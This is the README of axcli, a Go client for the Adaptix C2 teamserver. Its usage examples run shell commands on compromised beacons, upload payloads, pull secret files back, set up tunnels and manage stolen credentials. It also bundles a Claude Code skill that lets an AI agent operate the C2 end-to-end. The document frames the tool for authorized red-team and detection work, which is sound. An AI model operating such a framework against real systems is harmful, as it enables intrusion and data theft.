A command-line interface for the Adaptix C2 framework, written in Go.
adaptix-cli lets you drive an Adaptix Teamserver from the terminal — list beacons, run shell commands, transfer files, manage listeners/tunnels/credentials — with the same REST API the Qt GUI client uses. It is built for AI agent integration and automation: every command has a --json (-j) mode that returns raw, parseable JSON, and a Claude Code skill is bundled so an AI agent can operate the C2 end-to-end through natural language.
Use case. This is an authorized-use red-team / detection-engineering tool. Run it only against Adaptix C2 infrastructure you own or are explicitly authorized to test. See the Authorization section.
The binary is called axcli (the project is adaptix-cli, the command is axcli).
# Build
go build -o axcli .
# Login (credentials saved to ~/.adaptix/config.json)
./axcli login --url https://127.0.0.1:8443 -u admin -p your_password
# List beacons (table with alive/dead Status column)
./axcli beacons
# Execute a shell command on a beacon
./axcli shell --id ABCD1234 "whoami /all"
# Interactive beacon console (auto-waits for results)
./axcli console --id ABCD1234
# Upload a file to a beacon
./axcli upload --id ABCD1234 --file /tmp/payload.exe --remote-path "C:\\temp\\payload.exe"
# Download a file from a beacon (beacon -> server -> local cwd, auto-synced)
./axcli download --id ABCD1234 --path "C:\\secret\\data.txt"| Capability | How |
|---|---|
| Discover & identify beacons | beacons / agent list — shows alive/dead status, host, user, OS, process |
| Run commands on a beacon | shell, ps, ls, cat, cd, pwd, getuid, disks, kill, jobs |
| File transfer | upload (one-shot), download (beacon→server→local cwd, auto) |
| Interactive REPL | console — multi-command session that auto-waits for results |
| Beacon control | sleep, rev2self, terminate |
| Server management | listener, tunnel (socks4/5, port fwd), creds, targets, screenshot, chat, otp |
| Task lifecycle | task list / cancel / delete, download-mgr for server-side downloads |
| AI / scripting | -j raw JSON on every command; bundled Claude Code skill |
The Status column reports alive or dead. A beacon is dead when the Teamserver marks it Inactive, Terminated, or Disconnect; for beacons with a sleep interval it also falls back to dead when it hasn't checked in for well past its sleep window (mirrors the Qt client's health check).
Downloads are two-stage under the hood (beacon pushes the file to the server, then you fetch it), but download automates both: it queues the task, waits for the beacon to finish, and writes the file to the current working directory using the remote path's basename. Use download-mgr only to re-fetch a past download or after --no-wait.
axcli download --id X --path "C:\\secret\\data.txt" # auto-sync to ./data.txt
axcli download --id X --path "C:\\secret\\data.txt" -o /tmp/d # custom output path
axcli download --id X --path "C:\\secret\\data.txt" --no-wait # queue only
axcli download-mgr list # server-side downloads
axcli download-mgr sync --file-id <FILE_ID> # fetch to cwd
axcli download-mgr delete <FILE_ID> # cleanupIf the file doesn't exist on the beacon, download fails fast with the beacon's error (e.g. Error [2]: FILE_NOT_FOUND) instead of timing out.
Credentials persist to ~/.adaptix/config.json (0600) on successful login.
{
"url": "https://127.0.0.1:8443",
"username": "admin",
"password": "your_password",
"endpoint": "/api/v1",
"insecure": true,
"access_token": "jwt_token_here",
"refresh_token": "jwt_refresh_here"
}Priority (highest to lowest): CLI flags (--url, -u, -p) → env vars (ADAPTIX_URL, ADAPTIX_USER, ADAPTIX_PASSWORD) → config file.
JWT tokens are cached and auto-refreshed on 401. Re-run axcli login to force re-authentication.
| Command | Description | Example |
|---|---|---|
beacons |
List all beacons (with status) | axcli beacons |
shell |
Execute shell command | axcli shell --id X whoami |
ls |
List directory | axcli ls --id X --path C:\\ |
cat |
Read file | axcli cat --id X C:\\file.txt |
cd |
Change directory | axcli cd --id X C:\\Windows |
pwd |
Print working directory | axcli pwd --id X |
ps |
List processes | axcli ps --id X |
getuid |
Get current user | axcli getuid --id X |
sleep |
Set sleep interval | axcli sleep --id X 5s --jitter 20 |
rm |
Delete file/directory | axcli rm --id X C:\\file.txt |
mkdir |
Create directory | axcli mkdir --id X C:\\newdir |
cp |
Copy file | axcli cp --id X src dst |
mv |
Move/rename file | axcli mv --id X src dst |
disks |
List disks (Windows) | axcli disks --id X |
kill |
Kill process | axcli kill --id X 1234 |
jobs |
List/kill jobs | axcli jobs --id X |
terminate |
Kill agent | axcli terminate --id X process |
rev2self |
Revert impersonation | axcli rev2self --id X |
upload |
Upload file | axcli upload --id X --file local --remote-path remote |
download |
Download file (auto-sync to cwd) | axcli download --id X --path remote |
console |
Interactive REPL | axcli console --id X |
An interactive beacon console with real-time task output, similar to the Qt GUI client:
axcli console --id ABCD1234
axcli console --id ABCD1234 --poll 3 --timeout 120
axcli console --id ABCD1234 --no-wait # fire-and-forgetConsole flags: --poll N (task poll interval, default 5s) · --timeout N (default 120s) · --no-wait.
| Inside the console | |
|---|---|
ls [path] · cat <path> · cd <path> · pwd |
file ops |
ps · getuid · disks · kill <pid> · jobs [kill <id>] |
process / job ops |
download <path> · upload <local> <remote> |
file transfer (download auto-syncs to cwd) |
sleep <dur> [jitter] · rev2self · terminate [method] |
beacon control |
shell <cmd> |
explicit shell |
tasklist · clear · help · exit/quit |
session |
Any unrecognized command runs as shell <command> — typing ipconfig is the same as shell ipconfig.
| Command | Subcommands | Description |
|---|---|---|
agent |
list, remove, command, raw, generate, console-clear, tag, mark, color | Agent management |
task |
list, cancel, delete | Task management |
listener |
list, create, stop, edit, pause, resume | Listener management |
download-mgr |
list, sync, delete | Download file management |
tunnel |
list, socks5, socks4, lportfwd, rportfwd, stop | Tunnel/proxy management |
creds |
list, add, remove | Credential management |
targets |
list, add, remove | Target management |
screenshot |
list, image | Screenshot management |
service |
list, call | Service management |
chat |
(positional arg) | Send chat message |
otp |
(flags) | Generate one-time password |
| Flag | Short | Description |
|---|---|---|
--url |
Teamserver URL | |
--user |
-u |
Username |
--password |
-p |
Password |
--endpoint |
API prefix (default: /api/v1) |
|
--json |
-j |
Raw JSON output |
--insecure |
-k |
Skip TLS verification (default: true) |
# Debug build
go build -o axcli .
# Optimized release builds
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -o axcli .
CGO_ENABLED=0 GOOS=darwin GOARCH=arm64 go build -ldflags="-s -w" -o axcli .
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o axcli.exe .A Claude Code skill is bundled at .claude/skills/adaptix.md. Install it by copying (or symlinking) into your Claude skills directory:
cp .claude/skills/adaptix.md ~/.claude/skills/adaptix.mdThen invoke it with /adaptix in a Claude Code session to operate the C2 through natural language.
The CLI wraps the Adaptix Teamserver REST API:
- Auth: JWT (
POST /login→ access_token + refresh_token) - Shell:
POST /agent/command/rawthrough the AxScript parser (same path as the Qt GUI) - Structured commands:
POST /agent/command/executewith structured args JSON - Upload: files are base64-encoded and sent as command args
- Download:
downloadqueues the task, waits for the beacon to finish, then auto-syncs to cwd;download-mgr syncre-fetches a server-side download - Console: polls
GET /agent/task/listto wait for command results
This tool is for authorized security testing, red-team operations, and detection engineering against Adaptix C2 infrastructure you own or are explicitly authorized to assess. Do not use it against systems you do not have permission to test. The authors are not responsible for misuse.